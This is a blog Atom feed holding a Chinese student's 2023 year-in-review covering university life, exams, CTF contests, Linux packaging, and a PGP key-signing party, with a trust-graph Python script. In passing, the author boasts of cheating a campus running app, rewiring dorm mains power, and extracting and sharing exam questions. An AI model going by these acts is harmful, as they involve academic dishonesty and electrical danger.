<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>欠陥電気の摸鱼小池</title>
  
  <subtitle>Misaka13514的小站</subtitle>
  <link href="https://blog.apeiria.net/atom.xml" rel="self"/>
  
  <link href="https://blog.apeiria.net/"/>
  <updated>2023-12-31T12:00:00.000Z</updated>
  <id>https://blog.apeiria.net/</id>
  
  <author>
    <name>Misaka13514</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>我的 2023</title>
    <link href="https://blog.apeiria.net/2023/my-2023/"/>
    <id>https://blog.apeiria.net/2023/my-2023/</id>
    <published>2023-12-31T12:00:00.000Z</published>
    <updated>2023-12-31T12:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>2023 总结</p><span id="more"></span><h2 id="学习和工作">学习和工作</h2><h3 id="学校">学校</h3><p>随着疫情管控的全面放开，大一下我都在线下上课。学校离家很远所以住宿，认识了新的舍友。<span class="exturl" data-url="aHR0cHM6Ly90Lm1lL2N1YmljWS8xMjUz">整天窝在寝室里睡觉刷手机玩电脑，经常翘课，根本认识不到几个同学，评优什么的跟自己毫无关系，从来不去图书馆，到了期末才开始翻书看课件运气好就少挂几门，几年里什么都没学到<i class="fa fa-external-link-alt"></i></span>。大一上线上教学的期末考试放在了大一下的期初线下考试，高数挂科了（重修费好贵，我上课又不听，能不能不付钱（x））我还是喜欢线上上课考试。感觉早八好困难，不知道我高中是怎么活过来的（x</p><p><span class="exturl" data-url="aHR0cHM6Ly96aHVhbmxhbi56aGlodS5jb20vcC82Mzk4Njg5Mzg=">让我看看大一学生都在学些啥？高等数学，线性代数，思政，近代史，金工，英语，体育，军事理论，军事技能，大学物理，机械制图，心理健康，生涯规划。还有我们亲爱的计算机相关课程：C 语言。<i class="fa fa-external-link-alt"></i></span> 使用 VC6 的 C 语言，变量声明位置换一换就不工作了，我除了考试都自带笔记本用自己环境，没有 OJ，作业代码要打印在纸上，无语了。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/work-machine.jpg" alt="work-machine"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/work-laser-print.jpg" alt="work-laser-print"></p><p>金工实习还安排在周末（流汗黄豆）</p><p>体育课有校园跑要求，对高校体育 APP 抓包作弊把号玩没了（）</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/rewiring.jpg" alt="rewiring"></p><p>学校宿舍晚上会熄灯，除了空调线路不断电，插座会断电，晚上会没电没网。我第一次尝试改接强电线路并成功了，宿管也没查出来。</p><p>我加入了学校的动漫社、网络安全社团、电子设计竞赛实验室、日语角，并尝试在学校组建 Linux 用户组。</p><p>和学校网络安全社团的同学组队参加了两次市级或赛区级 CTF 比赛，拿了两个二等奖。第一次拿奖金 &amp; 第一次吃茶歇（x</p><p>在电子设计竞赛实验室的培训作业中略微学习了一些 STM32 的皮毛。我自学了 KiCAD，贡献了一些中文翻译。实验室主要使用嘉立创 EDA，我在 AUR 维护了一年有余，也很高兴能看到 @taotieren 在今年将其加入 archlinuxcn 软件源中。</p><p>在机械制图课程的启发下学了一些 FreeCAD。相较我以前用的 Fusion360 它免费开源更流畅，特色是通过限定条件来建模，工作流清晰，开源拖拉机，界面略丑，偶尔崩溃。需要在建模前有大致想法，如果对前几步的某个参数调整了有可能后续的步骤都需要重做。不支持两个及以上实体。</p><p>写了一些和学校有关的匿名开源脚本。学校的 Linux 用户组从泰晓拿到了 Milk-V Duo，第一次接触到了 RISC-V，不是很会玩，尝试 swap 个 archlinux 上去失败了，看到了 <span class="exturl" data-url="aHR0cHM6Ly9yYXRpenV4LmdpdGh1Yi5pby8yMDIzLzEwLzI2LzEuaHRtbA==">@Blockcity 的点灯<i class="fa fa-external-link-alt"></i></span>，比我玩的成功。</p><p>大二换了校区和宿舍分配，由于离家较近我决定走读，还是家里舒服。</p><h3 id="考试">考试</h3><p>在<a href="/2022/my-2022/">我的 2022</a> 提到了我参加 CET 4 和 JLPT N2 的考试，在今年出了成绩。</p><ul><li>CET 4：525/710（听力 200 + 阅读 176 + 写作和翻译 149）</li><li>JLPT N2：180/180 <span class="exturl" data-url="aHR0cHM6Ly90d2l0dGVyLmNvbS9NaXNha2FfMHgzNGNhL3N0YXR1cy8xNjE5MTQ2Mzg2NjcwNDk3Nzky">意料之外<i class="fa fa-external-link-alt"></i></span>，早知道就直接考 N1 了（余额-550）</li></ul><p>在 2023 年，我参加了 CET 6 和 JLPT N1 的考试。</p><ul><li>CET 6：445/710（听力 146 + 阅读 174 + 写作和翻译 125） 好险，勉强合格，英语是废了</li><li>JLPT N1：127/180（语言知识 35 + 阅读 43 + 听力 49）（余额-550）<br>我觉得是偏低了（不过我也没学什么（）），JLPT 没有考察到的写作和口语还是很菜。</li></ul><p>我还参加了<span class="exturl" data-url="aHR0cHM6Ly9zY2l0ZS5zaG1lZWEuZWR1LmNu">上海市高等学校信息技术水平考试（SCITE）<i class="fa fa-external-link-alt"></i></span>，我选择的科目是四级网络与信息安全，96/100，考了没什么用，机考，我把考试题偷出来并使用 Access PassView 解密了 <s>（什么叫网络与信息安全啊）</s> ，没有正确答案，有兴趣的话可以<span class="exturl" data-url="aHR0cHM6Ly9kcml2ZS5hcGVpcmlhLm5ldC9ibG9nL215LTIwMjMvU0NJVEUlMjUyMCVFNSU5QiU5QiVFNyVCQSVBNyVFNyVCRCU5MSVFNyVCQiU5QyVFNCVCOCU4RSVFNCVCRiVBMSVFNiU4MSVBRiVFNSVBRSU4OSVFNSU4NSVBOCUyNTIwJUU1JUFGJTg2JUU3JUEwJTgxYXRyaS56aXA=">下载查看<i class="fa fa-external-link-alt"></i></span>（题目附件报毒，不过全是 asp php 之类的文件，没有可执行二进制文件，问题不大）。</p><p>我在暑假学习了小型汽车的驾驶，尽管驾校的教学质量并不好，我拿到了 C1 机动车驾驶证。虽然只是勉强会开（）</p><h3 id="线上">线上</h3><ul><li>参加了 <a href="/2023/hackergame-2023-writeup/">Hackergame 2023</a>，总排名没有去年好，有点摆烂。</li><li>尝试了更换桌面操作系统为 NixOS，没有成功。我觉得它的理念是好的，但是文档（考虑到配置方法与大部分发行版不同）和大多数人在用的实验性功能（flake、home manager…）还需要再完善一段时间，也许我明年会再尝试一次？非官方文档里我觉得 <span class="exturl" data-url="aHR0cHM6Ly9uaXhvcy1hbmQtZmxha2VzLnRoaXNjdXRlLndvcmxkL3poLw==">ryan4yin 的教程<i class="fa fa-external-link-alt"></i></span>比较好用，官方文档我觉得太抽象了，不是像 Arch Wiki 那样的手把手教学。</li><li>为 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL05peE9TL25peHBrZ3M=">NixOS/nixpkgs<i class="fa fa-external-link-alt"></i></span> 添加了一些包，目标是完成 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL05peE9TL25peHBrZ3MvaXNzdWVzLzgxNDE4">NixOS for Pentesting<i class="fa fa-external-link-alt"></i></span>，如果我再尝试 NixOS 的话会再看看有没有我能打的新包。</li><li>全年继续使用我最爱的 Linux 发行版 Arch Linux。我维护的 AUR 包数量从去年的 16 个增长到 41 个，其中 <span class="exturl" data-url="aHR0cHM6Ly9hcmNobGludXgub3JnL3BhY2thZ2VzL2V4dHJhL3g4Nl82NC9tYXN0b2Rvbi10d2l0dGVyLXN5bmMv">mastodon-twitter-sync<i class="fa fa-external-link-alt"></i></span> 和 <span class="exturl" data-url="aHR0cHM6Ly9hcmNobGludXgub3JnL3BhY2thZ2VzL2V4dHJhL2FueS9weXRob24tcGVtLw==">python-pem<i class="fa fa-external-link-alt"></i></span> （<span class="exturl" data-url="aHR0cHM6Ly9idWdzLmFyY2hsaW51eC5vcmcvdGFzay83ODE1Mw==">相关 bug<i class="fa fa-external-link-alt"></i></span>） 被收录进了官方源。</li><li>创建了<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0LUFVUi9QS0dCVUlMRHM/dGFiPXJlYWRtZS1vdi1maWxlI3ByZS1idWlsdC1hdXItcGFja2FnZXMtZXhwZXJpbWVudGFs">我自己的 Arch Linux 软件源<i class="fa fa-external-link-alt"></i></span>（<span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL01pc2FrYTEzNTE0LUFVUi9hcmNoLWJ1aWxk">谢谢 @Clansty<i class="fa fa-external-link-alt"></i></span>）。</li><li>参与了 <span class="exturl" data-url="aHR0cHM6Ly9naXRodWIuY29tL0RJWWdvZC9SU1NIdWI=">DIYgod/RSSHub<i class="fa fa-external-link-alt"></i></span> RSS 路由的开发，谢谢 @TonyRL 每次 review 时的悉心指导。</li><li>第一次实现了 GitHub 每周全勤（虽然不知道在忙什么（x））</li></ul><h2 id="AOSCC">AOSCC</h2><p>暑假的时候家人计划去旅游，日程与 <span class="exturl" data-url="aHR0cHM6Ly93aWtpLmFvc2MuaW8vemgvY29tbXVuaXR5L2Fvc2NjLzIwMjMv">AOSCC 2023<i class="fa fa-external-link-alt"></i></span> 冲突，我选择了去参加 AOSCC，同时也拿到了旅游经费用来<a href="/2023/build-my-homelab/">搭建我的 HomeLab</a>。</p><p>我与大学刚组建不久的 LUG 的同学一起<span class="exturl" data-url="aHR0cHM6Ly9hb3NjLmlvL25ld3MvcG9zdHMvMjAyMy0wNy0yMi1hb3NjYy0yMDIzLXJlLWNhcC8=">参加了 AOSCC<i class="fa fa-external-link-alt"></i></span>，这是我第一次参加线下聚会。</p><h3 id="meetup">meetup</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/meetup-blockcity-cronfox.jpg" alt="meetup-blockcity-cronfox"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/meetup-blockcity-horo.jpg" alt="meetup-blockcity-horo"></p><p>谢谢 @Blockcity 的邀请，借 @Blockcity 同时 meetup 了 @Cronfox 和 @Horo。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/meetup-miaotony.jpg" alt="meetup-miaotony"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/meetup-aoscc.jpg" alt="meetup-aoscc"></p><p>还 meetup 了 @Camber、@Ciel、@Milkice、@MiaoTony，谢谢你们关注到我。</p><h3 id="Key-Signing-Party">Key Signing Party</h3><p>参加了 AOSCC 2023 Key Signing Party，谢谢以下 PGP 使用者为我签名。</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">$ gpg --fingerprint --with-subkey-fingerprint --list-signatures 293B93D8A471059F85D716A65BA92099D9BE2DAA | sed -e &#x27;s/@/ at /g&#x27; -e &#x27;s/\./ dot /g&#x27;</span><br><span class="line">pub   ed25519 2023-01-01 [SC] [expires: 2030-01-01]</span><br><span class="line">      293B 93D8 A471 059F 85D7  16A6 5BA9 2099 D9BE 2DAA</span><br><span class="line">uid           [ultimate] Misaka13514 &lt;Misaka13514 at gmail dot com&gt;</span><br><span class="line">sig 3        5BA92099D9BE2DAA 2023-01-01  [self-signature]</span><br><span class="line">sig 3        189BB387CF3AD95F 2023-01-01  欠陥電気RadioNoise (御坂13514号のECC鍵) &lt;Misaka13514 at gmail dot com&gt;</span><br><span class="line">sig          3A1F06DFCA34ECE5 2023-07-17  CharlieYu4994 &lt;charlieyu4994 at lassi-cat dot cn&gt;</span><br><span class="line">sig          BF2CA8CDB1722943 2023-07-17  Canarypwn (Canarypwn) &lt;canarypwn at aosc dot io&gt;</span><br><span class="line">sig 1        6F4C5AF537D3C301 2023-07-17  Mike Yuan (YHNdnzj) &lt;me at yhndnzj dot com&gt;</span><br><span class="line">sig          C111949073FC0F67 2023-07-17  Jiaxun Yang &lt;jiaxun dot yang at flygoat dot com&gt;</span><br><span class="line">sig 2        15F4180E73787863 2023-07-18  Coelacanthus &lt;CoelacanthusHex at gmail dot com&gt;</span><br><span class="line">sig 2        BFF89D4FFF7FAD1C 2023-07-20  Xinhui Yang &lt;cyan at cyano dot uk&gt;</span><br><span class="line">sig 2        020921FE312A15B1 2023-07-20  MiaoTony (MiaoTony&#x27;s Outlook) &lt;miaotony at outlook dot com&gt;</span><br><span class="line">sig 3        12FC7165238A4CB1 2023-07-23  柏园猫猫 &lt;i at nekomoe dot xyz&gt;</span><br><span class="line">sig 1        530163CFEC309530 2023-07-23  liang yongxiang &lt;tanekliang at gmail dot com&gt;</span><br><span class="line">uid           [ultimate] Misaka_0x34ca &lt;admin at atri dot tk&gt;</span><br><span class="line">sig 3        5BA92099D9BE2DAA 2023-01-01  [self-signature]</span><br><span class="line">sig 3        189BB387CF3AD95F 2023-01-01  欠陥電気RadioNoise (御坂13514号のECC鍵) &lt;Misaka13514 at gmail dot com&gt;</span><br><span class="line">sig          3A1F06DFCA34ECE5 2023-07-17  CharlieYu4994 &lt;charlieyu4994 at lassi-cat dot cn&gt;</span><br><span class="line">sig          BF2CA8CDB1722943 2023-07-17  Canarypwn (Canarypwn) &lt;canarypwn at aosc dot io&gt;</span><br><span class="line">sig 1        6F4C5AF537D3C301 2023-07-17  Mike Yuan (YHNdnzj) &lt;me at yhndnzj dot com&gt;</span><br><span class="line">sig          C111949073FC0F67 2023-07-17  Jiaxun Yang &lt;jiaxun dot yang at flygoat dot com&gt;</span><br><span class="line">sig 2        15F4180E73787863 2023-07-18  Coelacanthus &lt;CoelacanthusHex at gmail dot com&gt;</span><br><span class="line">sig 2        BFF89D4FFF7FAD1C 2023-07-20  Xinhui Yang &lt;cyan at cyano dot uk&gt;</span><br><span class="line">sig 2        020921FE312A15B1 2023-07-20  MiaoTony (MiaoTony&#x27;s Outlook) &lt;miaotony at outlook dot com&gt;</span><br><span class="line">sig 3        12FC7165238A4CB1 2023-07-23  柏园猫猫 &lt;i at nekomoe dot xyz&gt;</span><br><span class="line">sig 1        530163CFEC309530 2023-07-23  liang yongxiang &lt;tanekliang at gmail dot com&gt;</span><br><span class="line">sub   cv25519 2023-01-01 [E] [expires: 2030-01-01]</span><br><span class="line">      60B8 CFF2 C1E8 2F6B 2627  A1D7 6B71 F8EC 272C FDCF</span><br><span class="line">sig          5BA92099D9BE2DAA 2023-01-01  [self-signature]</span><br><span class="line">sub   ed25519 2023-01-01 [A] [expires: 2030-01-01]</span><br><span class="line">      64EB C7BB 5FCB 344C 088D  8E11 FB30 5A67 8861 3226</span><br><span class="line">sig          5BA92099D9BE2DAA 2023-01-01  [self-signature]</span><br><span class="line">sub   ed25519 2023-01-01 [S] [expires: 2030-01-01]</span><br><span class="line">      D633 F658 4ECB 7AD7 6216  6144 B4F6 D57F 0FC9 507E</span><br><span class="line">sig          5BA92099D9BE2DAA 2023-01-01  [self-signature]</span><br></pre></td></tr></table></figure><p>我写了一个程序绘制有向图用来可视化这次 Signing Party 参与者的信任关系。在第一张图中 sig0 和 sig1 不显示。</p><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/gpg-sign-party-1.png" alt="gpg-sign-party-1"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/gpg-sign-party-2.png" alt="gpg-sign-party-2"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/gpg-sign-party-3.png" alt="gpg-sign-party-3"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> subprocess</span><br><span class="line"><span class="keyword">import</span> networkx <span class="keyword">as</span> nx</span><br><span class="line"><span class="keyword">import</span> matplotlib.pyplot <span class="keyword">as</span> plt</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行GnuPG命令并获取输出</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run_gpg_command</span>(<span class="params">args</span>):</span><br><span class="line">    <span class="keyword">return</span> subprocess.check_output([<span class="string">&#x27;gpg&#x27;</span>] + args, text=<span class="literal">True</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取GnuPG密钥环</span></span><br><span class="line">gpg_output = run_gpg_command([</span><br><span class="line">    <span class="string">&#x27;--homedir&#x27;</span>, <span class="string">&#x27;~/AOSCC-Sign/gpg/&#x27;</span>, <span class="string">&#x27;--list-signatures&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;--with-colons&#x27;</span></span><br><span class="line">])</span><br><span class="line">gpg_data = gpg_output.strip().split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建有向图</span></span><br><span class="line">graph = nx.MultiDiGraph()</span><br><span class="line"></span><br><span class="line">key_id = <span class="literal">None</span></span><br><span class="line"><span class="comment"># 解析信任网络并添加边</span></span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> gpg_data:</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;User ID not found&quot;</span> <span class="keyword">in</span> line:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">    parts = line.split(<span class="string">&#x27;:&#x27;</span>)</span><br><span class="line">    record_type = parts[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> record_type == <span class="string">&#x27;pub&#x27;</span>:</span><br><span class="line">        key_id = parts[<span class="number">4</span>]</span><br><span class="line">        graph.add_node(key_id)  <span class="comment"># 添加节点（GnuPG密钥）</span></span><br><span class="line">    <span class="keyword">elif</span> record_type == <span class="string">&#x27;sig&#x27;</span>:</span><br><span class="line">        signer_key_id = parts[<span class="number">4</span>]</span><br><span class="line">        <span class="keyword">if</span> signer_key_id != key_id:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> graph.has_edge(signer_key_id, key_id):</span><br><span class="line">                trust_level = <span class="built_in">int</span>(parts[<span class="number">10</span>][<span class="number">1</span>])</span><br><span class="line">                <span class="keyword">if</span> trust_level &lt; <span class="number">2</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                graph.add_edge(signer_key_id, key_id,</span><br><span class="line">                               trust_level=trust_level)  <span class="comment"># 添加边（签名关系）</span></span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;<span class="subst">&#123;signer_key_id&#125;</span> -&gt; <span class="subst">&#123;key_id&#125;</span> (<span class="subst">&#123;trust_level&#125;</span>)&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 去除孤立节点</span></span><br><span class="line">graph.remove_nodes_from(<span class="built_in">list</span>(nx.isolates(graph)))</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置节点的图标并在节点下方标注节点ID</span></span><br><span class="line">avatars_directory = <span class="string">&quot;avatars/&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> node_id <span class="keyword">in</span> graph.nodes:</span><br><span class="line">    avatar_path = avatars_directory + <span class="string">f&quot;<span class="subst">&#123;node_id&#125;</span>.jpg&quot;</span></span><br><span class="line">    avatar_image = Image.<span class="built_in">open</span>(avatar_path)</span><br><span class="line"></span><br><span class="line">    graph.nodes[node_id][<span class="string">&quot;image&quot;</span>] = avatar_image  <span class="comment"># 设置节点图标</span></span><br><span class="line">    graph.nodes[node_id][<span class="string">&quot;label&quot;</span>] = node_id  <span class="comment"># 在节点下方标注节点ID</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用Kamada-Kawai布局设置节点位置</span></span><br><span class="line">pos = nx.kamada_kawai_layout(graph)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 添加微小的随机偏移，以避免节点图标的重叠</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add_random_noise</span>(<span class="params">pos, scale=<span class="number">0.01</span></span>):</span><br><span class="line">    noisy_pos = &#123;&#125;</span><br><span class="line">    <span class="keyword">for</span> node, (x, y) <span class="keyword">in</span> pos.items():</span><br><span class="line">        noise_x = np.random.uniform(-scale, scale)</span><br><span class="line">        noise_y = np.random.uniform(-scale, scale)</span><br><span class="line">        noisy_pos[node] = (x + noise_x, y + noise_y)</span><br><span class="line">    <span class="keyword">return</span> noisy_pos</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断节点图标是否重叠</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">has_overlapping_labels</span>(<span class="params">pos, labels, threshold=<span class="number">0.03</span></span>):</span><br><span class="line">    <span class="keyword">for</span> u, p1 <span class="keyword">in</span> pos.items():</span><br><span class="line">        <span class="keyword">for</span> v, p2 <span class="keyword">in</span> pos.items():</span><br><span class="line">            <span class="keyword">if</span> u != v <span class="keyword">and</span> np.linalg.norm(np.array(p1) -</span><br><span class="line">                                         np.array(p2)) &lt; threshold:</span><br><span class="line">                <span class="keyword">if</span> labels[u] != labels[v]:</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 迭代调整节点位置，直到没有图标重叠</span></span><br><span class="line">iteration = <span class="number">0</span></span><br><span class="line"><span class="keyword">while</span> has_overlapping_labels(pos, graph.nodes()):</span><br><span class="line">    pos = add_random_noise(pos, scale=<span class="number">0.02</span>)  <span class="comment"># 调整的幅度可以根据实际情况调整</span></span><br><span class="line">    iteration += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> iteration &gt;= <span class="number">100</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;无法消除图标重叠，退出迭代。&quot;</span>)</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 提升图片分辨率</span></span><br><span class="line">plt.figure(figsize=(<span class="number">16</span>, <span class="number">16</span>), dpi=<span class="number">300</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 绘制节点图标</span></span><br><span class="line"><span class="keyword">for</span> node, (x, y) <span class="keyword">in</span> pos.items():</span><br><span class="line">    image = graph.nodes[node][<span class="string">&quot;image&quot;</span>]</span><br><span class="line">    delta = <span class="number">0.05</span></span><br><span class="line">    plt.imshow(image, extent=[x - delta, x + delta, y - delta, y + delta])</span><br><span class="line"></span><br><span class="line"><span class="comment"># 绘制节点ID</span></span><br><span class="line">node_labels = &#123;node: node <span class="keyword">for</span> node <span class="keyword">in</span> graph.nodes&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置节点标签的位置偏移量，以避免标签与节点图标重叠</span></span><br><span class="line">label_pos = &#123;node: (x, y - <span class="number">0.08</span>) <span class="keyword">for</span> node, (x, y) <span class="keyword">in</span> pos.items()&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 根据trust_level选择边的颜色</span></span><br><span class="line">edge_colors = <span class="built_in">dict</span>(<span class="built_in">zip</span>(<span class="built_in">list</span>(<span class="built_in">range</span>(<span class="number">4</span>)), [<span class="string">&#x27;lightgray&#x27;</span>, <span class="string">&#x27;gray&#x27;</span>, <span class="string">&#x27;darkgray&#x27;</span>, <span class="string">&#x27;black&#x27;</span>]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> u, v, data <span class="keyword">in</span> graph.edges(data=<span class="literal">True</span>):</span><br><span class="line">    trust_level = data[<span class="string">&#x27;trust_level&#x27;</span>]</span><br><span class="line">    edge_color = edge_colors.get(trust_level, <span class="string">&#x27;gray&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 绘制曲线边，通过设置connectionstyle参数来实现</span></span><br><span class="line">    connection_style = <span class="string">f&quot;arc3,rad=0.2&quot;</span></span><br><span class="line">    <span class="comment"># 设置线条粗细为1.0</span></span><br><span class="line">    nx.draw_networkx_edges(graph,</span><br><span class="line">                           pos,</span><br><span class="line">                           edgelist=[(u, v)],</span><br><span class="line">                           edge_color=edge_color,</span><br><span class="line">                           width=<span class="number">1</span>,</span><br><span class="line">                           alpha=<span class="number">0.7</span>,</span><br><span class="line">                           arrowsize=<span class="number">15</span>,</span><br><span class="line">                           connectionstyle=connection_style)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用offset_text来避免标签在边缘被截断</span></span><br><span class="line"><span class="keyword">for</span> node, label <span class="keyword">in</span> node_labels.items():</span><br><span class="line">    x, y = label_pos[node]</span><br><span class="line">    plt.text(x, y, label, fontsize=<span class="number">10</span>, ha=<span class="string">&#x27;center&#x27;</span>, va=<span class="string">&#x27;center&#x27;</span>, zorder=<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 调整绘图区域大小，添加边距以防止标签在边缘被截断</span></span><br><span class="line">plt.xlim(-<span class="number">1.1</span>, <span class="number">1.1</span>)</span><br><span class="line">plt.ylim(-<span class="number">1.1</span>, <span class="number">1.1</span>)</span><br><span class="line"></span><br><span class="line">plt.axis(<span class="string">&#x27;off&#x27;</span>)</span><br><span class="line">plt.savefig(<span class="string">&#x27;gpg-graph.png&#x27;</span>, bbox_inches=<span class="string">&#x27;tight&#x27;</span>, pad_inches=<span class="number">0</span>, dpi=<span class="number">300</span>)</span><br><span class="line">plt.show()</span><br></pre></td></tr></table></figure><h3 id="stickers">stickers</h3><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/sticker-aoscc.jpg" alt="sticker-aoscc"><br><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/my-2023/sticker-jlu.jpg" alt="sticker-jlu"></p><p>拿到了 AOSCC、JLU、SHLUG 发放的贴纸和买菜兜。</p><h2 id="今年拿到的一些其它东西">今年拿到的一些其它东西</h2><h3 